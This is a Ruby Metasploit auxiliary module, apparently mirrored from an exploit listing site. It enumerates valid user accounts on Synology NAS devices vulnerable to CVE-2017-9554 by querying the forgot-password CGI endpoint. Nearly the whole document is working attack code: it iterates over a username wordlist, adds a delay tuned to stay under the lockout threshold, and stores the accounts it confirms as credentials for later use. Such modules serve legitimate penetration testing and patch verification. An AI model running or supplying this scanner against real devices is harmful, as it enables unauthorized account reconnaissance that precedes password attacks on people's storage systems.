Share
## https://sploitus.com/exploit?id=PACKETSTORM:181198
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Synology Forget Password User Enumeration Scanner',  
'Description' => %q{  
This module attempts to enumerate users on the Synology NAS  
by sending GET requests for the forgot password URL.  
The Synology NAS will respond differently if a user is present or not.  
These count as login attempts, and the default is 10 logins in 5min to  
get a permanent block. Set delay accordingly to avoid this, as default  
is permanent.  
Vulnerable DSMs are:  
DSM 6.1 < 6.1.3-15152  
DSM 6.0 < 6.0.3-8754-4  
DSM 5.2 < 5.2-5967-04  
},  
'Author' => [  
'h00die', # msf module  
'Steve Kaun' # POC  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'EDB', '43455' ],  
[ 'CVE', '2017-9554' ],  
[ 'URL', 'https://www.synology.com/en-global/security/advisory/Synology_SA_17_29_DSM' ]  
],  
'DisclosureDate' => '2011-01-05',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ACCOUNT_LOCKOUTS, IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(5000),  
OptString.new('TARGETURI', [true, 'The path to users Synology Web Interface', '/']),  
OptPath.new('USER_FILE', [  
false, 'File containing users, one per line',  
File.join(Msf::Config.data_directory, 'wordlists', 'unix_users.txt')  
]),  
OptInt.new('DELAY', [true, 'Seconds delay to add to avoid lockout', 36])  
]  
)  
end  
  
def run_host(_ip)  
@users_found = {}  
  
unless File.readable?(datastore['USER_FILE'])  
fail_with(Failure::BadConfig, 'USER_FILE can not be read')  
end  
users = File.new(datastore['USER_FILE']).read.split  
users.each do |user|  
do_enum(user)  
vprint_status("Delaying #{datastore['DELAY']}s") if datastore['DELAY'] > 0 # dont flood the prompt  
Rex.sleep(datastore['DELAY'])  
end  
  
if @users_found.empty?  
print_status("#{full_uri} - No users found.")  
else  
print_good("#{full_uri} - Users found: #{@users_found.keys.sort.join(', ')}")  
report_note(  
host: rhost,  
port: rport,  
proto: 'tcp',  
sname: (ssl ? 'https' : 'http'),  
type: 'users',  
vhost: vhost,  
data: { users: @users_found.keys.join(', ') }  
)  
end  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user]  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def do_enum(username)  
vprint_status("Attempting #{username}")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'webman', 'forget_passwd.cgi'),  
'method' => 'GET',  
'vars_get' => {  
'user' => username  
}  
})  
unless res  
print_error('Connection to host refused')  
fail_with(Failure::Unreachable, 'Connection to host refused')  
end  
j = res.get_json_document  
if j['msg'] == 5  
fail_with(Failure::Disconnected, 'You have been locked out. Retry later or increase DELAY')  
end  
if j['msg'] == 3  
fail_with(Failure::UnexpectedReply, 'Device patched or feature disabled')  
end  
if j['msg'] == 2 || j['msg'] == 1  
print_good("#{username} - #{j['info']}")  
@users_found[username] = :reported  
report_cred(  
ip: rhost,  
port: rport,  
service_name: (ssl ? 'https' : 'http'),  
proof: res.body  
)  
end  
# msg 1 means user can login to GUI  
# msg 2 means user exists but no GUI login  
# msg 3 means not supported/disabled/patched  
# msg 4 means no user  
# msg 5 means auto block is enabled and youre blocked. Default is 10 login attempts, and these  
# count as lgin attempts.  
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError  
print_error('Connection to host refused')  
fail_with(Failure::Unreachable, 'Connection to host refused')  
rescue Timeout::Error, Errno::EPIPE  
fail_with(Failure::Unreachable, 'Connection issue')  
end  
end